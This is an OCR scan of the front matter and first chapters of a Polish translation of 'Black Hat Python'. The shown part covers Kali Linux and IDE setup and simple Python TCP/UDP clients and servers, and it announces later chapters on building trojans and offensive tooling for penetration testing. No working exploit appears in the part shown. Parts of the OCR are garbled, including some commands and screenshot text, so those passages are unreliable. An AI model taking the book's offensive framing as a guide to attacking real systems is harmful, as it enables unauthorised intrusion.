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O autorze

JUSTIN SEITZ JEST STARSZYM SPECJALISTA DS. ZABEZPIECZEN W FIRMIE
IMMUNITY, INC. DO JEGO GEOWNYCH ZADAN NALEZY POSZUKIWANIE BLEDOW,
ODTWARZANIE BUDOWY PROGRAMOW, TWORZENIE EKSPLOITOW ORAZ OGOLNIE
pisanie programéw w Pythonie. Jest tez autorem ksiazki poswieconej zagad-
nieniom analizy zabezpieczen pt. Gray Hat Python.
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O korektorach
merytorycznych

DAN FRISCH OD PONAD DZIESIECIU LAT PRACUJE W BRANZY ZABEZPIECZEN
INFORMATYCZNYCH. AKTUALNIE JEST STARSZYM SPECJALISTA DS. ANALIZY ZA-
BEZPIECZEN W KANADYJSKICH ORGANACH SCIGANIA. WCZESNIE] PRACOWAL JAKO
konsultant ds. zabezpieczen w firmach z sektora finansowego i technologicznego
z Ameryki Pétlnocnej. Jako ze ma fiota na punkcie technologii i jest posiadaczem
czarnego pasa trzeciego stopnia, mozna stusznie zalozy¢, Ze cale jego zycie skupia
sie na Matriksie.

Technologia jest nieodlacznym towarzyszem, a czasami wrecz obsesjg, Cliffa
Janzena od czaséw pojawienia sie komputeréw Commodore PET i VIC-20.
Janzen odkryl swoja pasje po przejsciu w 2008 roku do branzy zabezpieczen
informatycznych, czyli po dziesieciu latach spedzonych w dziale operacyjnym IT.
Od kilku lat pracuje jako konsultant ds. zabezpieczen. Zajmuje sie wszystkim od
przegladania zasad polityki bezpieczefistwa po przeprowadzanie testéw pene-
tracyjnych. Jest bardzo szczesliwy, ze moze taczy¢ swojg pasje z praca.

O korektorach merytorycznych



Przedmowa

PYTHON WIEDZIE PRYM W SWIECIE BEZPIECZENSTWA INFORMAC]JI, CHOC
NIEKTORZY POTRAFIA SPIERAC SIE O JEZYKI PROGRAMOWANIA Z ZACIEKLOSCIA
GODNA FANATYKOW RELIGIJNYCH. NARZEDZIA NAPISANE W PYTHONIE ZAWIERAJA
wszelkiego rodzaju fuzzery, posredniki i nawet eksploity. Takze systemy eksplo-
itowe, takie jak CANVAS, sg pisanie w Pythonie, podobnie jak mniej znane przy-
rzady typu PyEmu czy Sulley.

Prawie wszystkie swoje fuzzery i eksploity napisalem w Pythonie. Gdy nie-
dawno z Chrisem Valasekiem sprawdzalismy bezpieczefistwo komputeréw samo-
chodowych, to tez do wstrzykiwania wiadomosci CAN do sieci samochodowej
wykorzystalismy biblioteke napisang w Pythonie.

Jesli ktos lubi szpera¢ w zabezpieczeniach systeméw informatycznych, to
Python jest dla niego idealnym jezykiem, poniewaz w jezyku tym napisano wiele
bibliotek do inzynierii wstecznej i eksploatowania luk w zabezpieczeniach. Gdyby
tylko programisci Metasploita poszli po rozum do glowy i przerzucili sie z Rubie-
go na Pythona, nasze $rodowiska moglyby polaczy¢ sity.



W ksigzce tej Justin Seitz opisuje szerokie spektrum tematéw interesujacych
dla kazdego aspirujacego mtodego hakera. Pokazuje, jak czytaé i pisa¢ pakiety
sieciowe oraz jak weszy¢ w sieci, a takze prezentuje wszelkie techniki potrzeb-
ne do sprawdzenia i zaatakowania aplikacji sieciowej. Sporo miejsca poswieca
tez metodom przeprowadzania atakéw z systemu Windows. Ogoélnie rzecz bio-
rac, ksigzka Black Hat Python to przyjemna lektura. Wprawdzie zawiera za mato
informacji, aby kto$ po jej przeczytaniu stal sie takim hakerskim sztukmistrzem
jak ja, ale na poczatek jest w sam raz. Pamietaj, ze r6znica miedzy amatorszczy-
zng a zawodowstwem jest taka sama jak miedzy uzywaniem cudzych skryptéw
i pisaniem wlasnych.

Charlie Miller
St. Louis, Missouri
wrzesien 2014
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HAKER UZYVVA]ACY PYTHONA. TO SA NAJLEPSZE SELOWA, JAKIMI MOZNA MNIE
OPISAC. W IMMUNITY MAM TO SZCZESCIE, ZE PRACUJE Z LUDZMI, KTORZY
NAPRAWDE WIEDZA, JAK SIE PROGRAMUJE W TYM JEZYKU. JA DO NICH NIE NALEZE.
Duzo czasu po$wiecam na testowanie penetracyjne, a do tego potrzebna jest
umiejetnos$é szybkiego tworzenia narzedzi w Pythonie, przy czym najwazniej-
sze sg wyniki (kod nie musi by¢ piekny, zoptymalizowany ani nawet stabilny).
Z ksigzki tej dowiesz sie, ze taki wlasnie mam styl pracy, ale uwazam, ze wla-
$nie dzieki temu jestem dobrym pentesterem. Mam nadzieje, ze Tobie réwniez
przypadnie do gustu takie podejscie do obowigzkéw.

Ponadto czytajac kolejne rozdzialy, odkryjesz, ze nie opisuje zadnego tematu
dogtebnie. Robie to celowo. Moim celem jest dostarczenie minimalnej porcji
informacji z odrobing przypraw, tak aby przekaza¢ podstawowa wiedze. Dlatego
rzucam réznymi pomystami i zadaje prace domowe. Nie chce Tobg kierowaé
krok po kroku, tylko wskaza¢ Ci potencjalne mozliwosci rozwoju. Zachecam do
zglebiania podsuwanych przeze mnie pomystéw i wysytania mi swoich wlasnych
implementacji, narzedzi oraz rozwigzan zadan domowych.
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Wstep

Jak jest w przypadku kazdej ksigzki na tematy programistyczne, to, jakie ko-
rzy$ci odniesiesz z przeczytania tej pozycji, zalezy w gléwnej mierze od Twoje-
go aktualnego poziomu wiedzy i umiejetnosci. Specjalista konsultant przeczyta
tylko niektore interesujace go rozdzialy, a kto§ inny moze pochlonie ja od deski
do deski. Jesli jestes poczatkujacym lub $redniozaawansowanym programista
Pythona, to zalecam przeczytanie wszystkich rozdzialéw w normalnej kolejno-
$ci. Dzieki temu bedziesz systematycznie zdobywa¢ nowe informacje potrzebne
do zrozumienia kolejnych rozdzialéw.

Na poczatek w rozdziale 2. przedstawiam podstawowe wiadomosci na temat
sieci, aby w rozdziale 3. przej$é¢ do surowych gniazd, a w rozdziale 4. do metod
postugiwania sie narzedziem Scapy. Nastepna czes$é ksiazki po§wiecona jest ha-
kowaniu aplikacji sieciowych. W rozdziale 5. pokazuje, jak uzywa¢ wtasnych na-
rzedzi, a w rozdziale 6. opisuje popularny pakiet Burp Suite. Potem sporo miejsca
zajmuje opis trojanéw, od rozdziatu 7. dotyczacego portalu GitHub po rozdziat 10.,
w ktérym poznasz kilka sztuczek pozwalajacych zwiekszyé poziom uprawnien
uzytkownika. W ostatnim rozdziale opisuje narzedzie Volatility do automatyza-
¢ji procesu analizy zawarto$ci pamieci na potrzeby postepowan §ledczych.

Staratem sie, aby przyklady kodu, podobnie jak ich objasnienia, byty jak naj-
zwiezlejsze i konkretne. Poczatkujacym programistom Pythona zalecam przepi-
sanie wszystkich przyktadéw, aby metody kodowania w tym jezyku wryly sie im
w pamieé. Pliki z wszystkimi przyktadami kodu z tej ksigzki mozna tez pobra¢ z ser-
wera FTP wydawnictwa Helion, ze strony fip.//ftp.helion.pl/przyklady/blahap.zip.

Zaczynamy!


ftp://ftp.helion.pl/przyklady/blahap.zip

Podzickowania

DZIEKUJE MOJE] RODZINIE — PIEKNE] ZONIE CLARE ORAZ PIECIORGU
DZIECIOM: EMILY, CARTEROWI, COHENOWI, BRADIEMU I MASONOWI — ZA
WSPARCIE I ZROZUMIENIE OKAZANE W TRAKCIE POETORAROCZNEGO OKRESU,
w ktérym pisalem te ksigzke. Wiele wsparcia okazali mi takze moi bracia,
siostra, rodzice oraz Paulette. To takze dzieki nim parlem do przodu chocby
nie wiem co. Kocham Was wszystkich.

Wszystkim znajomym z Immunity (chciatbym wymieni¢ Was wszystkich
z imienia i nazwiska, ale nie mam tyle miejsca) dziekuje za codzienne znoszenie
mojej obecnosci. Stanowicie niezwykly zespol. Ludziom z wydawnictwa No Starch
— Tylerowi, Billowi, Serenie i Leigh — bardzo dziekuje za ciezka prace, jaka
wlozyliscie w te ksigzke i wszystkie inne. Jestesmy Wam wdzieczni.

Drziekuje tez korektorom merytorycznym, Danowi Frischowi i Cliffowi Jan-
zenowi. Ci goscie przepisali i zrecenzowali kazda linijke kodu, napisali kod po-
mocniczy, wprowadzili poprawki i niesamowicie mi pomogli podczas pisania tej
ksigzki. Powinien ich zatrudni¢ kazdy, kto pisze jakikolwiek techniczny pod-
recznik. Sg po prostu niesamowici.

Do wszystkich pozostatych urwipolciéw popijajacych drinki, urzadzajacych
sobie zarty i gadajgcych na czacie — dzieki za wystuchanie moich gorzkich za-
16w nad mym ciezkim losem pisarza.
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Przy t@\wanie
§rodowisl&a>~ ythona
¥
O

JEST T® NAJMNIE] CIE@(,: CHOC SKRAJNIE WAZNY, R@ZDZIAL TE] KSIAZKI.
DewIESZ SIE Z NIEGP, JA RZYGOTOWAC SR@D@WISK® D® PISANIA PROGRAM@W
I TEST@W W PYT ZNA] DUJE SIE W NIM BLYSKAWICZNY KURS @BSLUGI ma-
szyny wirtualngj KM Linux i instalacji sSrodowiska programistycznego, ktore sg

potrzebne Wania kodu Zrédlowego. Po jego przeczytaniu kazdy powinien
umieé rggwiazywaé ¢wiczenia i uruchomié przyklady kodu opisane w pozostalej
czesci RuigzRi.

Na poczatek pobierz i zainstaluj program VMWare Player'. Dobrze tez
przygotowac sobie kilka maszyn wirtualnych z systemami Windows XP i 7, naj-
lepiej w wersjach 32-bitowych.

Program VMWare Player mozna pobra¢ ze strony hitp://www.omware.com/.



Instalowanie systemu Kali Linux

Kali to nastepca dystrybucji BackTrack. Zostal zaprojektowany od podstaw przez
specjalistow Offensive Security jako system operacyjny do przeprowadzania te-
stéw penetracyjnych. Zawiera kilka z géry zainstalowanych narzedzi i bazuje na
Debianie, wiec mozna tez w nim zainstalowa¢ wiele innych dodatkéw.

Najpierw pobierz maszyne wirtualng Kali z tego adresu: hitp://images.offen
Ssive-security.com/kali-linmx-1. 1.0a-vm-486.7z. Rozpakuj pobrany obraz, a na-
stepnie kliknij go dwa razy, aby uruchomi¢ go w VMWare Playerze. Domys§lna
nazwa uzytkownika to root, a haslo to toor. Po podaniu tych informacji powinie-
nes zobaczy¢ srodowisko pokazane na rysunku 1.1.

Kali-Linux-1.0.9-vm-486

Applications Places ‘ Sun Oct 5, 12:31 PM

Computer

BEALE LORNWE

Rysunek 1.1. Pulpit systemu Kali Linux

Zaczniemy od sprawdzenia, czy mamy zainstalowana odpowiednia wersje
Pythona — potrzebujemy wersji 2.7. W tym celu w terminalu (Applications/
Accessories/Terminal — Programy/Akcesoria/Terminal) wykonaj ponizsze
polecenie:

root@kali:~# python --version
Python 2.7.3
root@kali:~#

Rozdziat |



Jesli pobrates dokladnie ten obraz, ktéry zalecitem, to powinien by¢ w nim
zainstalowany Python 2.7. Pamietaj, ze w innej wersji Pythona niektére przy-
ktady kodu z tej ksigzki mogg nie dziata¢. To ostrzezenie.

Teraz aby ulatwi¢ sobie zarzadzanie pakietami Pythona, dodamy narzedzia
easy_install i pip. Mozna je poréwna¢ do menedzera pakietéw apt, poniewaz
pozwalajg bezposrednio instalowaé biblioteki Pythona bez potrzeby ich reczne-
go pobierania i rozpakowywania. Aby zainstalowaé¢ te dwa narzedzia, wykonaj
ponizsze polecenia:

root@kali:~#: apt-get install python-setuptools python-pip

Po zainstalowaniu pakietéw mozemy przetestowaé ich dzialanie poprzez
zainstalowanie modutu, przy uzyciu ktérego w rozdziale 7. stworzymy trojana,
postugujac sie serwisem GitHub. Wpisz w konsoli poniigipolecenie:

root@kali:~#: pip install github3.py \\.2

W oknie powinny pojawié¢ sie napisyNofofgfljace o tym, ze biblioteka jest

pobierana i instalowana.
Nastepnie przejdz do konsoli P%ﬁ, aby zweryfikowa¢ poprawnosé in-

stalacji:

root@kali:~#: python \Q
Python 2.7.3 (default, 2014, 11:57:14)

[GCC 4.7.2] on linux2

Type "help", "copyyrfght#, "credits" or "license" for more information.
>>> jmport gith

>>> exit()

Jesk ymale$ inny wynik, to znaczy, ze Twoje srodowisko Pythona jest zle
skonfigurowane i przynosisz hanbe naszemu dojo! Jeszcze raz sprawdz, czy
prawidlowo wykonales wszystkie czynnosci oraz czy masz odpowiednig wersje
systemu Kali.

Pamietaj, ze wiekszos$¢ przykladéw przedstawionych w tej ksigzce powinna
dziata¢ w ré6znych srodowiskach, wliczajac w to Mac, Linux i Windows. Ale nie-
ktére rozdzialy dotycza tylko Windowsa i informuje o tym na samym poczatku.

Majac przygotowana maszyne wirtualna, mozemy zainstalowa¢ srodowisko
IDE do pisania programéw w Pythonie.
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WingIDE

Cho¢ z reguly nie polecam produktéw komercyjnych, WingIDE jest absolutnie
najlepszym srodowiskiem programistycznym, jakiego uzywalem przez ostatnich
siedem lat pracy w Immunity. Oczywiscie zawiera ono wszystkie podstawowe
funkcje, takie jak automatyczne uzupekianie kodu i objasnienia parametréw
funkcji, ale jego najwieksza zaletg sg narzedzia diagnostyczne. Ponizej pokrétce
opisuje najwazniejsze cechy wersji platnej tego programu, ale oczywiscie kazdy
moze wybrac taka, ktéra mu najbardziej odpowiada’.

Srodowisko WingIDE mozna pobra¢ ze strony hittps:/wingware.com/. Pole-
cam instalacje wersji probnej, tak aby méc sie przekonaé na wlasne oczy, jakie
funkcje zapewnia pelna wersja komercyjna.

Programowa¢ mozna na dowolnej platformie systemowej, ale na poczatek
najlepiej chyba jest zainstalowa¢ WingIDE w maszynie wirtualnej Kali. Jesli
wykonale§ wszystkie moje dotychczasowe polecenia, po&&z 32-bitowy pakiet
.deb programu i zapisz go w swoim katalogu uiytko astepnie w konsoli
wykonaj ponizsze polecenie: "

root@kali:~# dpkg -i w1ngide5_5.0.9-1_138$¢£b

To powinno spowodowaé zamstal programu WingIDE. Jesli wystapig
jakies trudnosci, to ich przyczy byc brak niektérych potrzebnych pa-
kietéw. W takim pr: Z}pad]\u Wyk ponizsze polecenie:

root@kali:~# apt-get -f @H
To powinno §?$ac’ problemy z brakujacymi zaleznosciami i zainstalowaé

WingIDE. A wiedzie¢ sie, czy program zostal poprawnie zainstalowany;,
sprawdz, ¢Z& jest dostepny w menu, jak na rysunku 1.2.

Uru WingIDE i otw6rz nowy pusty plik Python. Teraz skup sie, bo
przedstawiam krétki opis najwazniejszych funkcji tego programu. Przede
wszystkim okno gléwne powinno wygladaé tak jak na rysunku 1.3. Okno edy-
tora kodu jest najwieksze i zajmuje lewa gérng czes$¢ okna gléwnego. Pod nim
znajduje sie zestaw zakladek.

2 -~ . 5 - 5 o . 2, . D g 3
“ Poréwnanie funkcjonalnosci wszystkich wersji mozna znalezé na stronie https:/wingware.com/wingide/

Jeatures/.
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800 % Kali-Linux-1.0.9-vm-486

Applications Places Mon Oct 6, 1:47 PM
H Accessories > root@kali: ~
%[:] Electronics >

474 Graphics

@8 Hamradio ‘;-,“’\];,
\4; Internet
"y
\ Kali Linux
[ Office
” Programming Arduino IDE 1 L
E Sound & Video > E}!‘ GRC el
System Tools > &% PyCrust
! : ! 7ul [94.9 k8]

{rj Universal Access > B s0lite database browser

> ‘ Wing |IDE Professional 5.

dfsg-11_1386.
386
oAy | oite g | Terms &

u >

Download Wing IDE P, E root@

Rysunek 1.2. Srodowisko WingIDE w menu programéw

@00 % Kali-Linux-1.0.9-vm-486 W
[ (=) [ A [r] =D

Applications Places Mon Oct 6, 3:14 PM

untitled-2.py: Default Project: Wing IDE
| File Edit Seurce Refactor Project Debug Testing Tools Window Help

| » ( @ O 5 |5 Ze ce @ B »
untitled-2. E
! 2 Sym
Fg v X 5 bol
o | Non
e
S No
B sym
&‘E bol
o
e curs
3 or
w
o
]
o
&
: — 3
| search in Files Search Stack Data Debug /0 Exceptions Debug Probe | Watch Moc < |b | W
| Search: v o
| @
Case sensitive | Whole words | |n Selection H
Previous Mext Options | |
o

Line 1 Col 0 * [User]

€ Download Wing IDE P... E root@kali: ~ untitled-2.py: Default ...

Rysunek 1.3. Uktad okna gtéwnego programu WingIDE
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Dodam troche prostego kodu zrédltowego, aby pokazaé dzialanie najbardziej
przydatnych funkcji $rodowiska, np. kart Debug Probe (prébnik debugowania)
i Stack Data (dane stosu). Wpisz ponizszy kod do edytora:

def sum(number_one,number_two):
number_one_int = convert_integer(number_one)
number_two_int = convert integer(number_two)
result = number_one_int + number_two_int
return result

def convert_integer(number string):

converted integer = int(number_string)
return converted_integer

answer = sum("1","2")

To bardzo wydumany przyklad, ale dobrze pokazuje, jak srodowisko WingIDE
moze ulatwié zycie programisty. Zapisz plik pod dowolng nazwa, otwérz menu
Debug (diagnostyka) i kliknij pozycje Set Current as Main Debug File (wybierz
biezacy plik jako gléwny plik debugowania), jak pokazano na rysunku 1.4.

800 % Kali-Linux-1.0.9-vm-486

LAAE=Y L)
Applications Places [ EI Mon Oct 6, 4:27 PM
Start ( Continue F5 Named Entry Points...
; Debug To Cursor Alt+F5
(et el s Debug Current File shift+Fs

E w W X Debug Recent
Debug Named Entry Point
Attach to Process...

Debug Environment...
untitled-2.py |

| convert_integer %

= def convert_in

converted |

Step Into F7
return con
answer = sum("
Search in Files = Search
Search: ] Add Breakpoint Fo
gase.senswtwe Whole
Previous Next Breakpeint Options »
Execute Current File
Execute Recent 4
Execute Named Entry Point 3

& Line 16 Col 21 * [User’

. Download Wing IDE P = root@kali; ~ / untitled-2.py: Defaul

Rysunek 1.4. Ustawianie biezqgcego skryptu Pythona do debugowania
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Nastepnie ustaw punkt wstrzymania na ponizszym wierszu kodu:
return converted_integer

Punkt wstrzymania mozna ustawié, klikajac na lewym marginesie lub naci-
skajac klawisz F9. Na marginesie powinna pojawi¢ sie duza czerwona kropka.
Nastepnie naci$nij klawisz F5, aby uruchomié¢ skrypt, ktérego wykonywanie
powinno sie zatrzyma¢ na ustawionym punkcie wstrzymania. Kliknij zaktadke
Stack Data, aby wys$wietli¢ informacje pokazane na rysunku 1.5.

@00 @ Kali-Linux-1.0.9-vm-486 e

Applications Places ‘z Mon Oct 6, 4:27 PM
number_converter.py (/root): Default Project: Wing IDE
File Edit Source Refactor Project Debug Testing Tools Window Help

hwd& X & | D ie 2B R -
number_corverter, | [
T Py | |8 Pyth
| convert_integer ¥ | F v ®X||g on
e SRR LT : |&| Key
= def convert_integer (number_string): | wor
oz
. . c
converted_integer = int (number_string) g retur
&
in
L] return converted integer ﬁ
=il =
=z
o
2

SearchinFiles | Search | StackData | Debug /0 | Exceptions | DebugProbe | Watch | Moc D! v

onvert_integer(): number_converter.py, line 14 v ﬁ

Value
number_string 1
=-globals {'convert_integer <function convert_integer at 0x8f37224=,"_b ...
_doc__ MNone
_file__ ‘froot/number_converter.py'
__name__ '__main_'

l} rce Browser

vnload Wing IDE P... E reo cali: ’ number_converter.py (...

Rysunek 1.5. Dane stosu wyswietlone po zatrzymaniu wykonywania skryptu
na punkcie wstrzymania

Na karcie Stack Data znajdziemy troche cennych informacji, np. stan zmien-
nych globalnych i lokalnych w chwili zatrzymania programu. Dzieki temu mozna
diagnozowa¢ zaawansowany kod i sprawdzaé warto$ci zmiennych w czasie wy-
konywania, aby wyszukiwaé w nim btedy. Klikajac pasek listy rozwijanej, mozna
tez wyswietli¢ biezacy stos wywolan, aby dowiedzie¢ sie, jaka funkcja wywo-
lala te, ktorg aktualnie ogladamy. Przykladowy taki stos wywolan pokazano na
rysunku 1.6.
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e non % Kali-Linux-1.0.9-vm-486 'y

Applications Places ‘r Mon Oct 6, 4:28 PM
number_converter.py (/root): Default Project: Wing IDE

File Edit Source PRefactor Project Debug Testing Tools Window Help

h o i b & & = ze 8L # R »

number_corverter.py |

R e Pyth
| convert_integer ¥ | [ ] on
B . ey
= def convert_integer (number_string): wor
=
. X c
converted_integer = int(numbsr_string) L; retur
i
i
L] return converted integer g
=
3
o
.U)

=module=(): number_corverter.py, line 16

sum(): number_converter.py, line 3

Variable Value

--locals {'converted_integer" 1, 'number_string": '1'} ﬁ
converted_integer 1 L

None
‘Jroot/number_converter.py'
'_main_"'

| @
| @

=
|
| =
| @
| @
| @

=

¥ Line 14 Col 0 - [User]

@ Download Wing IDE P... [E root@kali: - # number_converter.py (... -

Rysunek 1.6. Przeglqdanie biezqcego stosu wywotan

Z otrzymanych danych wynika, ze funkcja convert_integer zostala wywola-
na w funkcji sum w wierszu 3. skryptu. Takie informacje sa bardzo przydatne,
gdy program zawiera wywolania rekurencyjne albo jedna funkcja moze zostaé
wywolana w wielu r6znych miejscach. Z pewnoscig z karty Stack Data bedziesz
jeszcze nie raz korzystad!

Kolejna wazna funkcja $rodowiska znajduje sie na karcie Debug Probe.
Umozliwia ona uruchomienie konsoli Pythona w biezacym kontekscie w mo-
mencie zatrzymania programu na punkcie wstrzymania. To pozwala na przegla-
danie i modyfikowanie zmiennych oraz dopisywanie fragmentéw kodu w celu
wyprébowania nowych pomystéw lub naprawienia usterek. Na rysunku 1.7 po-
kazano proces inspekeji zmiennej converted integer i zmiany jej wartosci.

Po wprowadzeniu zmian mozna wznowi¢ wykonywanie skryptu naci$nieciem
klawisza F5.

Cho¢ jest to bardzo prosty przyklad, ilustruje on niektére z najwazniejszych
funkcji srodowiska WingIDE do pisania i debugowania skryptéw w Pythonie’.

Jesli uzywasz juz innego $rodowiska programistycznego o podobnych mozliwosciach, napisz mi
maila albo tweeta, bo bardzo chciatbym sie 0 nim dowiedzied!
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eno @ Kali-Linux-1.0.9-vm-486 "
(L= L ¥
3

Applications Places g Mon Oct 6, 4:29 PM

number_converter.py (/root): Default Project: Wing IDE

File Edit Source Refactor Project Debug Testing Tools Window Help

B e
Av @S Xa@ & p AF R >
number_converterpy | |3
|8 sym
| convert_integer ¥ | & |'g bol:
IR v 0 [&] wen
= def convert_integer (number_string): ! 8
onver i = - i & No
converted_integer = int (number_string) 1=
& svm
o bol
& return converted integer -z at
e curs
2o
w

| Searchin Files | Search | Stack Data | Debug /0 | Exceptions | DebugProbe | watch | Moc

| convert_integer(): number_converter.py, line 14

|
= H &
Commands execute in current stack frame. Use arrow keys for history =+ Options | |=
@

»>> converted_integer
1 '
=»> converted_integer = 2 |8
>>> G%
| @
|8
LE
vl

[4

¥ |ine 14 Col 0 - [User]

nload Wing IDEP... B ro i # number_converter.py [... -

Rysunek 1.7. Inspekcja i modyfikacja wartosci zmiennych lokalnych za pomocq
narzedzi z karty Debug Probe

To wszystko, co bedzie Ci potrzebne podczas studiowania tej ksigzki. Oczy-
wiScie nie zapomnij tez przygotowa¢ sobie maszyn wirtualnych z systemem
Windows do niektérych rozdzialéw, choé macierzysty sprzet tez nie powinien
sprawia¢ probleméw.

Czas zacza¢ prawdziwa zabawe!
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Podstawowe
wiadomosci o sieci

SIEC JEST 1 ZAWSZE BEDZIE NAJBARDZIE] ATRAKCY]NYM POLEM DO DZIALANIA
DLA HAKEROW. DOSTEP DO NIE] ZAPEWNIA NAPASTNIKOWI PRAWIE NIEOGRA-
NICZONE MOZLIWOSCI, NP. POZWALA SKANOWAC HOSTY, WSTRZYKIWAC PAKIETY,
tropi¢ dane, zdalnie eksploitowac hosty itd. Ale jesli kto§ spenetruje najglebsze
poklady warstw atakowanego przedsiebiorstwa, to moze natknaé¢ sie na naste-
pujacy problem: brak narzedzi do wykonywania atakéw sieciowych. Zadnego
netcata. Zadnego Wiresharka. Brak jakiegokolwick kompilatora czy nawet
nadziei na jego zainstalowanie. Ale za to bardzo czesto mozna znalez¢é instalacje
Pythona i to bedzie nasz punkt zaczepienia.

W rozdziale tym zdobedziesz podstawowe wiadomosci na temat metod pra-
cy w sieci przy uzyciu modutu Pythona socket'. W ramach nauki zbudujesz
klientéw, serwery i serwer proxy TCE ktérych nastepnie zamienisz we wlasny
netcat wyposazony nawet w wiersz polecen. Tres$¢ tego rozdziatu stanowi podstawe

' Pod adresem http://docs.python.org/2/library/socket.html znajduje sie pelna dokumentacja modutu

socket.


http://docs.python.org/2/library/socket.html

dla nastepnych rozdziatéw, w ktérych tworzymy narzedzie do wykrywania hostow,
implementujemy niezalezne od platformy szperacze (ang. sniffer) oraz tworzymy
zdalny system szkieletowy do budowy trojanéw. Do roboty!

Narzedzia sieciowe Pythona

Jest wiele narzedzi do tworzenia serweréw sieciowych i klientéw w Pythonie,
ale podstawe wszystkich z nich stanowi modut socket. Zawiera on wszystko, co
jest potrzebne do szybkiego pisania klientéw i serweré6w TCP i UDE postugi-
wania sie surowymi gniazdami itd. Jesli zamierzasz wlamywa¢ sie do obcych
komputeréw albo utrzymywaé z nimi polaczenie, to ten modut zaspokoi wszyst-
kie Twoje potrzeby. Zaczniemy od utworzenia prostego klienta i serwera, po-
niewaz te dwa rodzaje skryptow sieciowych bedziesz pisa¢ najczescie;.

Klient TCP

28

Nie umiem juz nawet policzyé, ile razy podczas przeprowadzania testéw pene-
tracyjnych musialem na szybko skotowaé klienta TCP potrzebnego mi do
sprawdzania ushug, wysylania bzdurnych danych, podawania bezsensownych
informacji wejsciowych do programéw itd. Ale jesli kto§ pracuje w srodowisku
korporacyjnym, to nie moze sobie pozwoli¢ na korzystanie z narzedzi siecio-
wych ani kompilatoréw i czasami ma nawet trudnosci z tak absolutnie podsta-
wowymi czynno$ciami jak kopiowanie i wklejanie czy polaczenie z internetem.
W takim przypadkach niezwykle przydatna jest umiejetno$é¢ utworzenia wia-
snego klienta TCP. Ale wystarczy tego paplania — lepiej popatrze¢ na konkretny
kod. Oto prosty klient TCP.

import socket

target_host = "www.google.com"
target_port = 80

# utworzenie obiektu gniazda
client = socket.socket(socket.AF_INET, socket.SOCK STREAM)

# polqczenie sig z klientem
client.connect((target_host,target port))

# wystanie danych
client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")

# odebranie danych
response = client.recv(4096)

print response
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Najpierw przy uzyciu parametréw AF_INET i SOCK_STREAM tworzymy obiekt
gniazda @. Parametr AF_INET oznacza, ze zamierzamy uzywac standardowego
adresu IPv4 lub hosta, a SOCK_STREAM znaczy, ze tworzymy klienta TCP. Nastep-
nie taczymy klienta z serwerem @ i wysylamy mu troche danych ©. Ostatnig
czynno$cia jest odebranie danych zwrotnych i wydrukowanie odpowiedzi @.
Jest to najprostszy mozliwy klient TCE ale takie wlagnie pisze sie najczescie;.

W przedstawionym skrypcie przyjelismy kilka waznych zalozen na temat
gniazd, o ktérych koniecznie musisz wiedzieé. Po pierwsze zakladamy ze zaw-
sze uda sie nawigza¢ polaczenie, a po drugie liczymy, ze serwer zawsze bedzie
najpierw czekal, az wyslemy mu dane (sa tez serwery najpierw wysylajace dane
i oczekujace na odpowiedz klienta). Trzecie zalozenie jest takie, ze serwer zawsze
wysle odpowiedz w krétkim czasie. Wszystkie te zalozenia przyjelismy po to, by
uprosci¢ przyktad. Cho¢ programisci r6znie podchodzg do kwestii blokowania
gniazd, obstugi wyjatkéw itp., pentesterzy rzadko wprowadzajg takie udogodnienia
do swoich napredce skleconych narzedzi. Dlatego ja réwniez nie implementuje
tych dodatkéw w przyktadach.

Klient UDP

Klient UDP w Pythonie jest bardzo podobny do klienta TCP. R6zni sie od niego
tylko dwoma szczegétami, poniewaz musi wysyltaé pakiety w formie UDP

import socket

target_host = "127.0.0.1"
target_port = 80

# utworzenie obiektu gniazda
@ client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# wystanie danych
® client.sendto("AAABBBCCC", (target host,target port))

# odebranie danych
©® data, addr = client.recvfrom(4096)

print data

Przy tworzeniu obiektu typ gniazda zmienilismy na SOCK_DGRAM @. Nastep-
nie wywolalismy funkcje sendto() @, ktérej przekazalismy dane serwera, do
ktérego chcemy wysta¢ te dane. Jako ze UDP to protokét bezpolaczeniowy, nie
trzeba zawczasu wywolywaé¢ metody connect(). Ostatnig czynnoScia jest wy-
wolanie funkcji recvfrom() ©® w celu odebrania danych UDP. Zwr6¢ tez uwage,
ze zwracane sg zaréwno dane, jak i szczegélowe informacje o zdalnym hoscie
i porcie.
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Jeszcze raz przypomne, ze nie chodzi tu o napisanie najelegantszego kodu.
Musimy po prostu szybko i tatwo stworzy¢ w miare stabilne narzedzie do wy-
konywania codziennych czynnosci. Teraz utworzymy kilka prostych serweréw.

Serwer TCP

30

Serwery w Pythonie tworzy sie tak samo tatwo jak klienty. Wtasny serwer TCP
moze by¢ potrzebny, gdy kto$ pisze wiersze polecen albo tworzy serwery proxy
(jeszcze do nich wrécimy). Na poczatek utworzymy standardowy wielowatkowy
serwer TCP. Wykombinuj w swoim edytorze kodu co$ takiego:

import socket
import threading

bind_ip = "0.0.0.0"
bind_port = 9999

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
©® server.bind((bind_ip,bind_port))
® server.listen(5)
print "[*] Nastuchiwanie na porcie %s:%d" % (bind_ip,bind_port)

# waqtek do obstugi klienta
© def handle _client(client_socket):

# drukuje informacje przestane przez klienta
request = client_socket.recv(1024)

print "[*] Odebrano: %s" % request

# wysyla pakiet z powrotem
client_socket.send("ACK!")

client_socket.close()

while True:
(4] client,addr = server.accept()
print "[*] Przyjeto potaczenie od: %s:%d" % (addr[0],addr[1])
# utworzenie wqtku klienta do obstugi przychodzqcych danych

client_handler = threading.Thread(target=handle_client,args=(client,))
6 client_handler.start()
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Najpierw definiujemy adres IP i numer portu, na ktérym ma nastuchiwaé
nasz serwer @. Nastepnie nakazujemy serwerowi, aby rozpoczal nastuchiwanie @,
i ustawiamy maksymalng liczbe polaczenn w kolejee na 5. Pézniej wlaczamy petle
gléwng serwera, w ktérej bedzie on czekal na polaczenia. Gdy jakis klient na-
wigze z nim polaczenie @, pobieramy jego gniazdo do zmiennej client, a dane
polaczenia zapisujemy w zmiennej addr. Nastepnie tworzymy nowy obiekt wat-
ku wskazujacy nasza funkcje handle client i jako argument przekazujemy jej
obiekt gniazda klienta. P6zniej uruchamiamy watek obslugujacy potaczenie
z klientem @, po czym gléwna petla serwera jest gotowa do obstugi nastepnego
polaczenia. Funkcja handle client ® wywoluje funkcje recv() i wysyla prosta
wiadomosé do klienta.

Teraz przy uzyciu wezesniej napisanego klienta TCP mozemy wystaé na
prébe kilka pakietéw do tego serwera. Wynik powinien by¢ nastepujacy:

[*] Nastuchiwanie na porcie 0.0.0.0:9999
[*] Przyjeto potaczenie od: 127.0.0.1:62512
[*] Odebrano: ABCDEF

